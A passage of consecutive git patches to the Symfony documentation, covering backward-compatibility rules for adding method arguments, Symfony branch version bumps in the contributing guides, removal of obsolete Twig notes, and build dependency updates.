+#. If no ``method`` attribute is defined, try to call the ``__invoke()`` magic
    method (which makes event listeners invokable);
 #. If the ``__invoke()`` method is not defined either, throw an exception.
 
@@ -134,6 +122,27 @@ listener class:
     internal Symfony listeners usually range from ``-256`` to ``256`` but your
     own listeners can use any positive or negative integer.
 
+.. note::
+
+    There is an optional attribute for the ``kernel.event_listener`` tag called
+    ``event`` which is useful when listener ``$event`` argument is not typed.
+    If you configure it, it will change type of ``$event`` object.
+    For the ``kernel.exception`` event, it is :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent`.
+    Check out the :doc:`Symfony events reference </reference/events>` to see
+    what type of object each event provides.
+
+    With this attribute, Symfony follows this logic to decide which method to call
+    inside the event listener class:
+
+    #. If the ``kernel.event_listener`` tag defines the ``method`` attribute, that's
+       the name of the method to be called;
+    #. If no ``method`` attribute is defined, try to call the method whose name
+       is ``on`` + "PascalCased event name" (e.g. ``onKernelException()`` method for
+       the ``kernel.exception`` event);
+    #. If that method is not defined either, try to call the ``__invoke()`` magic
+       method (which makes event listeners invokable);
+    #. If the ``__invoke()`` method is not defined either, throw an exception.
+
 Defining Event Listeners with PHP Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f068e3cff0879ac0a9c09416900f35376fff31f3 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Tue, 10 Jan 2023 11:58:03 +0100
Subject: [PATCH 2736/5766] Add a section about how to add an argument to a
 method without breaking BC

---
 contributing/code/bc.rst | 379 +++++++++++++++++++++++----------------
 1 file changed, 222 insertions(+), 157 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3f1e6164087..ae97007117e 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -231,102 +231,102 @@ Changing Classes
 This table tells you which changes you are allowed to do when working on
 Symfony's classes:
 
-==================================================  ==============  ===============
-Type of Change                                      Change Allowed  Notes
-==================================================  ==============  ===============
-Remove entirely                                     No
-Make final                                          No              :ref:`[6] <note-6>`
-Make abstract                                       No
-Change name or namespace                            No
-Change parent class                                 Yes             :ref:`[4] <note-4>`
-Add interface                                       Yes
-Remove interface                                    No
+========================================================================  ==============  ===============
+Type of Change                                                            Change Allowed  Notes
+========================================================================  ==============  ===============
+Remove entirely                                                           No
+Make final                                                                No              :ref:`[6] <note-6>`
+Make abstract                                                             No
+Change name or namespace                                                  No
+Change parent class                                                       Yes             :ref:`[4] <note-4>`
+Add interface                                                             Yes
+Remove interface                                                          No
 **Public Properties**
-Add public property                                 Yes
-Remove public property                              No
-Reduce visibility                                   No
-Move to parent class                                Yes
+Add public property                                                       Yes
+Remove public property                                                    No
+Reduce visibility                                                         No
+Move to parent class                                                      Yes
 **Protected Properties**
-Add protected property                              Yes
-Remove protected property                           No              :ref:`[7] <note-7>`
-Reduce visibility                                   No              :ref:`[7] <note-7>`
-Make public                                         No              :ref:`[7] <note-7>`
-Move to parent class                                Yes
+Add protected property                                                    Yes
+Remove protected property                                                 No              :ref:`[7] <note-7>`
+Reduce visibility                                                         No              :ref:`[7] <note-7>`
+Make public                                                               No              :ref:`[7] <note-7>`
+Move to parent class                                                      Yes
 **Private Properties**
-Add private property                                Yes
-Make public or protected                            Yes
-Remove private property                             Yes
+Add private property                                                      Yes
+Make public or protected                                                  Yes
+Remove private property                                                   Yes
 **Constructors**
-Add constructor without mandatory arguments         Yes             :ref:`[1] <note-1>`
-Remove constructor                                  No
-Reduce visibility of a public constructor           No
-Reduce visibility of a protected constructor        No              :ref:`[7] <note-7>`
-Move to parent class                                Yes
+Add constructor without mandatory arguments                               Yes             :ref:`[1] <note-1>`
+Remove constructor                                                        No
+Reduce visibility of a public constructor                                 No
+Reduce visibility of a protected constructor                              No              :ref:`[7] <note-7>`
+Move to parent class                                                      Yes
 **Destructors**
-Add destructor                                      Yes
-Remove destructor                                   No
-Move to parent class                                Yes
+Add destructor                                                            Yes
+Remove destructor                                                         No
+Move to parent class                                                      Yes
 **Public Methods**
-Add public method                                   Yes
-Remove public method                                No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Move to parent class                                Yes
-Add argument without a default value                No
-Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove argument                                     No              :ref:`[3] <note-3>`
-Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove default value of an argument                 No
-Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
-Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add public method                                                         Yes
+Remove public method                                                      No
+Change name                                                               No
+Reduce visibility                                                         No
+Make final                                                                No              :ref:`[6] <note-6>`
+Move to parent class                                                      Yes
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+:ref:`Add argument with a default value <add-argument-public-method>`     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                                       No
+Add type hint to an argument                                              No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                                      No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Protected Methods**
-Add protected method                                Yes
-Remove protected method                             No              :ref:`[7] <note-7>`
-Change name                                         No              :ref:`[7] <note-7>`
-Reduce visibility                                   No              :ref:`[7] <note-7>`
-Make final                                          No              :ref:`[6] <note-6>`
-Make public                                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Move to parent class                                Yes
-Add argument without a default value                No              :ref:`[7] <note-7>`
-Add argument with a default value                   No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove argument                                     No              :ref:`[3] <note-3>`
-Add default value to an argument                    No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove default value of an argument                 No              :ref:`[7] <note-7>`
-Add type hint to an argument                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove type hint of an argument                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Change argument type                                No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Add return type                                     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Remove return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
-Change return type                                  No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add protected method                                                      Yes
+Remove protected method                                                   No              :ref:`[7] <note-7>`
+Change name                                                               No              :ref:`[7] <note-7>`
+Reduce visibility                                                         No              :ref:`[7] <note-7>`
+Make final                                                                No              :ref:`[6] <note-6>`
+Make public                                                               No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Move to parent class                                                      Yes
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+:ref:`Add argument with a default value <add-argument-public-method>`     No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove default value of an argument                                       No              :ref:`[7] <note-7>`
+Add type hint to an argument                                              No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove type hint of an argument                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Change argument type                                                      No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Add return type                                                           No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Remove return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>` :ref:`[9] <note-9>`
+Change return type                                                        No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
 **Private Methods**
-Add private method                                  Yes
-Remove private method                               Yes
-Change name                                         Yes
-Make public or protected                            Yes
-Add argument without a default value                Yes
-Add argument with a default value                   Yes
-Remove argument                                     Yes
-Add default value to an argument                    Yes
-Remove default value of an argument                 Yes
-Add type hint to an argument                        Yes
-Remove type hint of an argument                     Yes
-Change argument type                                Yes
-Add return type                                     Yes
-Remove return type                                  Yes
-Change return type                                  Yes
+Add private method                                                        Yes
+Remove private method                                                     Yes
+Change name                                                               Yes
+Make public or protected                                                  Yes
+Add argument without a default value                                      Yes
+Add argument with a default value                                         Yes
+Remove argument                                                           Yes
+Add default value to an argument                                          Yes
+Remove default value of an argument                                       Yes
+Add type hint to an argument                                              Yes
+Remove type hint of an argument                                           Yes
+Change argument type                                                      Yes
+Add return type                                                           Yes
+Remove return type                                                        Yes
+Change return type                                                        Yes
 **Static Methods and Properties**
-Turn non static into static                         No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
-Turn static into non static                         No
+Turn non static into static                                               No              :ref:`[7] <note-7>` :ref:`[8] <note-8>`
+Turn static into non static                                               No
 **Constants**
-Add constant                                        Yes
-Remove constant                                     No
-Change value of a constant                          Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
-==================================================  ==============  ===============
+Add constant                                                              Yes
+Remove constant                                                           No
+Change value of a constant                                                Yes             :ref:`[1] <note-1>` :ref:`[5] <note-5>`
+========================================================================  ==============  ===============
 
 Changing Traits
 ~~~~~~~~~~~~~~~
@@ -334,84 +334,84 @@ Changing Traits
 This table tells you which changes you are allowed to do when working on
 Symfony's traits:
 
-==================================================  ==============  ===============
-Type of Change                                      Change Allowed  Notes
-==================================================  ==============  ===============
-Remove entirely                                     No
-Change name or namespace                            No
-Use another trait                                   Yes
+===============================================================================  ==============  ===============
+Type of Change                                                                   Change Allowed  Notes
+===============================================================================  ==============  ===============
+Remove entirely                                                                  No
+Change name or namespace                                                         No
+Use another trait                                                                Yes
 **Public Properties**
-Add public property                                 Yes
-Remove public property                              No
-Reduce visibility                                   No
-Move to a used trait                                Yes
+Add public property                                                              Yes
+Remove public property                                                           No
+Reduce visibility                                                                No
+Move to a used trait                                                             Yes
 **Protected Properties**
-Add protected property                              Yes
-Remove protected property                           No
-Reduce visibility                                   No
-Make public                                         No
-Move to a used trait                                Yes
+Add protected property                                                           Yes
+Remove protected property                                                        No
+Reduce visibility                                                                No
+Make public                                                                      No
+Move to a used trait                                                             Yes
 **Private Properties**
-Add private property                                Yes
-Remove private property                             No
-Make public or protected                            Yes
-Move to a used trait                                Yes
+Add private property                                                             Yes
+Remove private property                                                          No
+Make public or protected                                                         Yes
+Move to a used trait                                                             Yes
 **Constructors and destructors**
-Have constructor or destructor                      No
+Have constructor or destructor                                                   No
 **Public Methods**
-Add public method                                   Yes
-Remove public method                                No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Change return type                                  No
+Add public method                                                                Yes
+Remove public method                                                             No
+Change name                                                                      No
+Reduce visibility                                                                No
+Make final                                                                       No              :ref:`[6] <note-6>`
+Move to used trait                                                               Yes
+:ref:`Add argument without a default value <add-argument-public-method>`         No
+:ref:`Add argument with a default value <add-argument-public-method>`            No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Change return type                                                               No
 **Protected Methods**
-Add protected method                                Yes
-Remove protected method                             No
-Change name                                         No
-Reduce visibility                                   No
-Make final                                          No              :ref:`[6] <note-6>`
-Make public                                         No              :ref:`[8] <note-8>`
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Change return type                                  No
+Add protected method                                                             Yes
+Remove protected method                                                          No
+Change name                                                                      No
+Reduce visibility                                                                No
+Make final                                                                       No              :ref:`[6] <note-6>`
+Make public                                                                      No              :ref:`[8] <note-8>`
+Move to used trait                                                               Yes
+:ref:`Add argument without a default value <add-argument-public-method>`         No
+:ref:`Add argument with a default value <add-argument-public-method>`            No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Change return type                                                               No
 **Private Methods**
-Add private method                                  Yes
-Remove private method                               No
-Change name                                         No
-Make public or protected                            Yes
-Move to used trait                                  Yes
-Add argument without a default value                No
-Add argument with a default value                   No
-Remove argument                                     No
-Add default value to an argument                    No
-Remove default value of an argument                 No
-Add type hint to an argument                        No
-Remove type hint of an argument                     No
-Change argument type                                No
-Add return type                                     No
-Remove return type                                  No
-Change return type                                  No
-**Static Methods and Properties**
-Turn non static into static                         No
-Turn static into non static                         No
-==================================================  ==============  ===============
+Add private method                                                               Yes
+Remove private method                                                            No
+Change name                                                                      No
+Make public or protected                                                         Yes
+Move to used trait                                                               Yes
+Add argument without a default value                                             No
+Add argument with a default value                                                No
+Remove argument                                                                  No
+Add default value to an argument                                                 No
+Remove default value of an argument                                              No
+Add type hint to an argument                                                     No
+Remove type hint of an argument                                                  No
+Change argument type                                                             No
+Add return type                                                                  No
+Remove return type                                                               No
+Change return type                                                               No
+**Static Methods and Properties**          
+Turn non static into static                                                      No
+Turn static into non static                                                      No
+===============================================================================  ==============  ===============
 
 Notes
 ~~~~~
@@ -473,4 +473,69 @@ a return type is only possible with a child type.
 constructors of Attribute classes. Using PHP named arguments might break your
 code when upgrading to newer Symfony versions.
 
+Making Code Changes in a Backward Compatible Way
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+As you read above, many changes are not allowed because they would represent a
+backward compability break. However, we want to be able to improve the code and
+its features over time and that can be done thanks to some strategies that
+allow to still do some unallowed changes in several steps that ensure backward
+compability and a smooth upgrade path. Some of them are described in the next
+sections.
+
+.. _add-argument-public-method:
+
+Adding an Argument to a Public Method
+.....................................
+
+Adding a new argument to a public method is possible only if this is the last
+argument of the method.
+
+If that's the case, here is how to do it properly in a minor version:
+
+#. Add the argument as a comment in the signature::
+
+    // the new argument can be optional
+    public function say(string $text, /* bool $stripWithespace = true */): void
+    {
+    }
+
+    // or required
+    public function say(string $text, /* bool $stripWithespace */): void
+    {
+    }
+
+#. Document the new argument in a PHPDoc::
+
+    /**
+     * @param bool $stripWithespace
+     */
+
+#. Use ``func_num_args`` and ``func_get_arg`` to retrieve the argument in the
+   method::
+
+        $stripWithespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
+
+   Note that the default value is ``false`` to keep the current behavior.
+
+#. If the argument has a default value that will change the current behavior,
+   warn the user::
+
+    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWithespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
+
+#. If the argument has no default value, warn the user that is going to be
+   required in the next major version::
+
+    if (\func_num_args() < 2) {
+        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWithespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
+
+        $stripWithespace = false;
+    } else {
+        $stripWithespace = func_get_arg(1);
+    }
+
+#. In the next major version (``X.0``), uncomment the argument, remove the
+   PHPDoc if there is no need for a description, and remove the
+   ``func_get_arg`` code and the warning if any.
+
 .. _`Semantic Versioning`: https://semver.org/

From 12cc8a28adc7522a1d36727fef78aff56349782d Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 08:50:42 +0100
Subject: [PATCH 2737/5766] Fix Symfony versions when needed

---
 README.markdown                     |  4 +--
 contributing/code/pull_requests.rst | 40 ++++++++++++++---------------
 contributing/code/tests.rst         |  2 +-
 contributing/community/releases.rst | 20 +++++++--------
 4 files changed, 33 insertions(+), 33 deletions(-)

diff --git a/README.markdown b/README.markdown
index b8c8f863b4d..8424f980f7e 100644
--- a/README.markdown
+++ b/README.markdown
@@ -26,8 +26,8 @@ Contributing
 We love contributors! For more information on how you can contribute, please read
 the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributing/documentation/overview.html).
 
-**Important**: use `4.4` branch as the base of your pull requests, unless you are
-documenting a feature that was introduced *after* Symfony 4.4 (e.g. in Symfony 5.4).
+**Important**: use `5.4` branch as the base of your pull requests, unless you are
+documenting a feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.2).
 
 Build Documentation Locally
 ---------------------------
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index fa2306f613c..5255613c000 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -132,20 +132,20 @@ work:
   branch (you can find them on the `Symfony releases page`_). E.g. if you
   found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
-* ``6.2``, if you are adding a new feature.
+* ``6.3``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the
   :ref:`special development process <major-version-development>` of those versions,
-  you need to use the previous minor version for the features (e.g. use ``4.4``
-  instead of ``5.0``, use ``5.4`` instead of ``6.0``, etc.)
+  you need to use the previous minor version for the features (e.g. use ``5.4``
+  instead of ``6.0``, use ``6.4`` instead of ``7.0``, etc.)
 
 .. note::
 
     All bug fixes merged into maintenance branches are also merged into more
     recent branches on a regular basis. For instance, if you submit a PR
-    for the ``4.4`` branch, the PR will also be applied by the core team on
-    the ``5.x`` and ``6.x`` branches.
+    for the ``5.4`` branch, the PR will also be applied by the core team on
+    all the ``6.x`` branches that are still maintained.
 
 Create a Topic Branch
 ~~~~~~~~~~~~~~~~~~~~~
@@ -157,18 +157,18 @@ topic branch:
 
     $ git checkout -b BRANCH_NAME 5.x
 
-Or, if you want to provide a bug fix for the ``4.4`` branch, first track the remote
-``4.4`` branch locally:
+Or, if you want to provide a bug fix for the ``5.4`` branch, first track the remote
+``5.4`` branch locally:
 
 .. code-block:: terminal
 
-    $ git checkout --track origin/4.4
+    $ git checkout --track origin/5.4
 
-Then create a new branch off the ``4.4`` branch to work on the bug fix:
+Then create a new branch off the ``5.4`` branch to work on the bug fix:
 
 .. code-block:: terminal
 
-    $ git checkout -b BRANCH_NAME 4.4
+    $ git checkout -b BRANCH_NAME 5.4
 
 .. tip::
 
@@ -284,15 +284,15 @@ while to finish your changes):
 
 .. code-block:: terminal
 
-    $ git checkout 5.x
+    $ git checkout 6.x
     $ git fetch upstream
-    $ git merge upstream/5.x
+    $ git merge upstream/6.x
     $ git checkout BRANCH_NAME
-    $ git rebase 5.x
+    $ git rebase 6.x
 
 .. tip::
 
-    Replace ``5.x`` with the branch you selected previously (e.g. ``4.4``)
+    Replace ``6.x`` with the branch you selected previously (e.g. ``5.4``)
     if you are working on a bug fix.
 
 When doing the ``rebase`` command, you might have to fix merge conflicts.
@@ -319,8 +319,8 @@ You can now make a pull request on the ``symfony/symfony`` GitHub repository.
 
 .. tip::
 
-    Take care to point your pull request towards ``symfony:4.4`` if you want
-    the core team to pull a bug fix based on the ``4.4`` branch.
+    Take care to point your pull request towards ``symfony:5.4`` if you want
+    the core team to pull a bug fix based on the ``5.4`` branch.
 
 To ease the core team work, always include the modified components in your
 pull request message, like in:
@@ -461,7 +461,7 @@ test scenarios run on each change:
 
     This job also runs relevant packages using a "flipped" test (indicated
     by a ``^`` suffix in the package name). These tests checkout the
-    previous major release (e.g. ``4.4`` for a pull requests on ``5.4``)
+    previous major release (e.g. ``5.4`` for a pull requests on ``6.3``)
     and run the tests with your branch as dependency.
 
     A failure in these flipped tests indicate a backwards compatibility
@@ -500,12 +500,12 @@ Rework your Pull Request
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
 Based on the feedback on the pull request, you might need to rework your
-PR. Before re-submitting the PR, rebase with ``upstream/5.x`` or
-``upstream/4.4``, don't merge; and force the push to the origin:
+PR. Before re-submitting the PR, rebase with ``upstream/6.x`` or
+``upstream/5.4``, don't merge; and force the push to the origin:
 
 .. code-block:: terminal
 
-    $ git rebase -f upstream/5.x
+    $ git rebase -f upstream/6.x
     $ git push --force origin BRANCH_NAME
 
 .. note::
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 376792f879f..4c0c65ae09c 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=4.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update
 
 .. _running:
 
diff --git a/contributing/community/releases.rst b/contributing/community/releases.rst
index 0ecaa641f9b..fa452b67dfc 100644
--- a/contributing/community/releases.rst
+++ b/contributing/community/releases.rst
@@ -7,9 +7,9 @@ release and maintain its different versions.
 Symfony releases follow the `semantic versioning`_ strategy and they are
 published through a *time-based model*:
 
-* A new **Symfony patch version** (e.g. 4.4.12, 5.1.9) comes out roughly every
+* A new **Symfony patch version** (e.g. 5.4.12, 6.1.9) comes out roughly every
   month. It only contains bug fixes, so you can safely upgrade your applications;
-* A new **Symfony minor version** (e.g. 4.4, 5.0, 5.1) comes out every *six months*:
+* A new **Symfony minor version** (e.g. 5.4, 6.0, 6.1) comes out every *six months*:
   one in *May* and one in *November*. It contains bug fixes and new features,
   can contain new deprecations but it doesn't include any breaking change,
   so you can safely upgrade your applications;
@@ -54,7 +54,7 @@ Maintenance
 
 Starting from the Symfony 3.x branch, the number of minor versions is limited to
 five per branch (X.0, X.1, X.2, X.3 and X.4). The last minor version of a branch
-(e.g. 4.4, 5.4) is considered a **long-term support version** and the other
+(e.g. 5.4, 6.4) is considered a **long-term support version** and the other
 ones are considered **standard versions**:
 
 =======================  =====================  ================================
@@ -88,17 +88,17 @@ learn more about how deprecations are handled in Symfony.
 .. _major-version-development:
 
 This deprecation policy also requires a custom development process for major
-versions (5.0, 6.0, etc.) In those cases, Symfony develops at the same time
-two versions: the new major one (e.g. 5.0) and the latest version of the
-previous branch (e.g. 4.4).
+versions (6.0, 7.0, etc.) In those cases, Symfony develops at the same time
+two versions: the new major one (e.g. 6.0) and the latest version of the
+previous branch (e.g. 5.4).
 
 Both versions have the same new features, but they differ in the deprecated
-features. The oldest version (4.4 in this example) contains all the deprecated
-features whereas the new version (5.0 in this example) removes all of them.
+features. The oldest version (5.4 in this example) contains all the deprecated
+features whereas the new version (6.0 in this example) removes all of them.
 
-This allows you to upgrade your projects to the latest minor version (e.g. 4.4),
+This allows you to upgrade your projects to the latest minor version (e.g. 5.4),
 see all the deprecation messages and fix them. Once you have fixed all those
-deprecations, you can upgrade to the new major version (e.g. 5.0) without
+deprecations, you can upgrade to the new major version (e.g. 6.0) without
 effort, because it contains the same features (the only difference are the
 deprecated features, which your project no longer uses).
 

From 384046125741795282451f7d898f8a088d521da6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 17:06:28 +0100
Subject: [PATCH 2738/5766] Deprecate the proxy-manager package

---
 service_container/lazy_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 6f92f5b0d5d..b5190c0d159 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -33,8 +33,8 @@ until you interact with the proxy in some way.
 
 .. versionadded:: 6.2
 
-    Starting from Symfony 6.2, you don't have to install any package (e.g.
-    ``symfony/proxy-manager-bridge``) in order to use the lazy service instantiation.
+    Starting from Symfony 6.2, service laziness is supported out of the box
+    without having to install any additional package.
 
 Configuration
 -------------

From 32b12df56980c6f0d9c3f40d463b9077626b9f65 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 08:58:57 +0100
Subject: [PATCH 2739/5766] Remove obsolete comments

---
 components/form.rst              | 4 ----
 reference/configuration/twig.rst | 8 ++++----
 templating/twig_extension.rst    | 4 ----
 3 files changed, 4 insertions(+), 12 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index d4fdab0a7ec..7e7e92b3b48 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -223,10 +223,6 @@ to bootstrap or access Twig and add the :class:`Symfony\\Bridge\\Twig\\Extension
         // ...
         ->getFormFactory();
 
-.. versionadded:: 1.30
-
-    The ``Twig\RuntimeLoader\FactoryRuntimeLoader`` was introduced in Twig 1.30.
-
 The exact details of your `Twig Configuration`_ will vary, but the goal is
 always to add the :class:`Symfony\\Bridge\\Twig\\Extension\\FormExtension`
 to Twig, which gives you access to the Twig functions for rendering forms.
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 8ac4068517e..29b22fb3e28 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -67,10 +67,10 @@ autoescape_service
 
 **type**: ``string`` **default**: ``null``
 
-As of Twig 1.17, the escaping strategy applied by default to the template is
-determined during compilation time based on the filename of the template. This
-means for example that the contents of a ``*.html.twig`` template are escaped
-for HTML and the contents of ``*.js.twig`` are escaped for JavaScript.
+The escaping strategy applied by default to the template is determined during
+compilation time based on the filename of the template. This means for example
+that the contents of a ``*.html.twig`` template are escaped for HTML and the
+contents of ``*.js.twig`` are escaped for JavaScript.
 
 This option allows to define the Symfony service which will be used to determine
 the default escaping applied to the template.
diff --git a/templating/twig_extension.rst b/templating/twig_extension.rst
index 64f2c7519cb..3654fab4f6c 100644
--- a/templating/twig_extension.rst
+++ b/templating/twig_extension.rst
@@ -103,10 +103,6 @@ this command to confirm that your new filter was successfully registered:
 Creating Lazy-Loaded Twig Extensions
 ------------------------------------
 
-.. versionadded:: 1.35
-
-    Support for lazy-loaded extensions was introduced in Twig 1.35.0 and 2.4.4.
-
 Including the code of the custom filters/functions in the Twig extension class
 is the simplest way to create extensions. However, Twig must initialize all
 extensions before rendering any template, even if the template doesn't use an

From dc906476dd916a78d80c236e5f4967a778e89574 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:04:22 +0100
Subject: [PATCH 2740/5766] Remove obsolete blacklist entries

Follows
* https://github.com/symfony/symfony-docs/pull/17711
---
 .doctor-rst.yaml | 2 --
 1 file changed, 2 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3c671b143db..2833840d86f 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -83,8 +83,6 @@ whitelist:
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
         - '.. versionadded:: 2.4.0' # SwiftMailer
-        - '.. versionadded:: 1.30' # Twig
-        - '.. versionadded:: 1.35' # Twig
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore

From b07c069ce9cd973977d7d600ff40c6a25ebd46ac Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 09:04:35 +0100
Subject: [PATCH 2741/5766] Bump versions on the build script

---
 _build/build.php     |   2 +-
 _build/composer.json |   8 +-
 _build/composer.lock | 728 ++++++++++++++++++++-----------------------
 3 files changed, 342 insertions(+), 396 deletions(-)

diff --git a/_build/build.php b/_build/build.php
index 989eaea7cbe..897fd8dac20 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -20,7 +20,7 @@
 
         $outputDir = __DIR__.'/output';
         $buildConfig = (new BuildConfig())
-            ->setSymfonyVersion('4.4')
+            ->setSymfonyVersion('5.4')
             ->setContentDir(__DIR__.'/..')
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')
diff --git a/_build/composer.json b/_build/composer.json
index 57b77fa5808..1f070475062 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -3,7 +3,7 @@
     "prefer-stable": true,
     "config": {
         "platform": {
-            "php": "7.4.14"
+            "php": "8.1.0"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         }
     },
     "require": {
-        "php": ">=7.4",
-        "symfony/console": "^5.4",
-        "symfony/process": "^5.4",
+        "php": ">=8.1",
+        "symfony/console": "^6.2",
+        "symfony/process": "^6.2",
         "symfony-tools/docs-builder": "^0.18"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index 503bfab012b..fa23243ea98 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,41 +4,82 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "4cd8dc9a70f9ccfb279a426fffbcf2bc",
+    "content-hash": "1243668a34d12e1bfc2a367bb87dd2c9",
     "packages": [
+        {
+            "name": "doctrine/deprecations",
